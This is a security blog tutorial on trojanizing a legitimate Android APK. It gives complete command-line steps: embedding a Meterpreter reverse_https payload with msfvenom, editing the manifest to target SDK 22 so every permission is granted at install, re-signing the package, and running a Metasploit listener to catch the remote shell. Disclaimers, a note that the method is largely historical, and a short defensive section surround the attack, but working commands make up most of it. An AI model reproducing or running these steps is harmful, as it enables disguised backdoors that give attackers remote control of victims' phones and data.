Home / Journal

Creating an APK Backdoor That Asks for All Permissions at Install

Acronix Jun 08, 2026 Security
Creating an APK Backdoor That Asks for All Permissions at Install

This is a writeup I originally wrote back in 2020, restored here with updated context.

It documents a classic Android pentesting technique: embedding a payload into a legitimate app and then nudging the APK to request all its permissions at install time rather than at runtime. I validated it back on Android Oreo and Pie — see the note near the end on why it's largely historical today.

Remember: the techniques shared here are for authorized testing and defensive research only. Build and install these payloads only on devices and apps you own or have explicit written permission to test. Trojanizing an app and distributing it to anyone else is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. We assume no liability for misuse.

The idea

On older Android, an app declared its permissions in AndroidManifest.xml and the user accepted them all at once during installation. Starting with SDK 23 (Android 6.0), Google moved to a runtime permission model — apps request sensitive permissions one at a time, while running, and the user can deny each. That's good for users and inconvenient for a payload that wants everything up front.

The technique here: take a legitimate APK, inject a backdoor, and set the app's target SDK back to 22, which makes Android fall back to the old install-time "grant everything" behavior.

What you'll need

  • Kali Linux (or any box with the Metasploit Framework).
  • apktool to decompile and rebuild the APK.
  • The Java keytool and apksigner (or jarsigner) to re-sign the rebuilt APK — Android refuses to install an unsigned one.
  • A legitimate .apk to host the payload, and a test device you own.

Step 1: Inject the payload

I used the reverse_https Meterpreter payload for its resilient call-back. The -x flag tells msfvenom to use an existing APK as a template, embedding the payload inside it:

msfvenom -x original.apk -p android/meterpreter/reverse_https LHOST=192.168.1.5 LPORT=4490 R > backdoored-original.apk
  • -x original.apk — the legitimate app to graft onto
  • -p android/meterpreter/reverse_https — the payload
  • LHOST / LPORT — where the device should call back (your listener)
  • R — output raw, redirected into the new APK

Step 2: Make it ask for all permissions

By default a modern target SDK defers permission prompts to runtime. Set the target SDK to 22 and Android reverts to asking for everything at install.

Decompile the backdoored APK:

apktool d -f -o targetfolder backdoored-original.apk

Open the manifest and edit it (use nano so this works over SSH too):

cd targetfolder
sudo nano AndroidManifest.xml

Add this line inside the manifest (or adjust it if a uses-sdk entry already exists):

<uses-sdk android:targetSdkVersion="22"/>

Rebuild the APK:

cd ..
apktool b targetfolder

The rebuilt file lands at targetfolder/dist/backdoored-original.apk.

Step 3: Sign the APK

Android won't install an unsigned APK, so generate a key and sign it:

keytool -genkey -v -keystore my.keystore -alias mykey -keyalg RSA -keysize 2048 -validity 10000
apksigner sign --ks my.keystore backdoored-original.apk

(On older setups you'd use jarsigner plus zipalign instead of apksigner — same goal: a validly signed package.)

Step 4: Catch the session

Before installing on your test device, start a listener in Metasploit so the call-back has somewhere to land:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_https; set LHOST 192.168.1.5; set LPORT 4490; run"

Install the signed APK on your own test device, launch it, and the Meterpreter session connects back — and because of the SDK-22 manifest, the app asked for its full permission set at install rather than piecemeal at runtime.

Why this is mostly historical now

I'm restoring this for the record, but be clear-eyed: modern Android has largely closed this off.

  • Target-SDK enforcement. Google Play now requires apps to target a recent API level, and newer Android versions show a compatibility warning — or refuse to install — apps built against very old target SDKs. You can't just drop to 22 and sail through.
  • Runtime permissions stuck. Even installed, sensitive permissions are gated at runtime on Android 6+; the user still decides.
  • Play Protect scans sideloaded apps and flags Meterpreter-style payloads.
  • APK Signature Scheme v2/v3 and stricter install checks make naive re-signing/tampering easier to detect.

So treat this as an educational look at how the install-time vs. runtime permission shift mattered — useful for understanding Android's security model and for authorized testing of legacy devices, not a working drive-by in 2026.

How to protect yourself

The defensive takeaways are the real value here:

  • Only install apps from trusted sources (the Play Store), and keep Play Protect on.
  • Don't sideload APKs from random links or "modded" app sites — that's exactly the delivery vector this technique relies on.
  • Watch the permissions. A simple app asking for SMS, contacts, camera, and accessibility all at once is a red flag.
  • Keep Android updated — each version tightens the permission and signing model.

If you found this useful, subscribe to our RSS Feed and YouTube Channel. More security writeups are on the way.

← All articles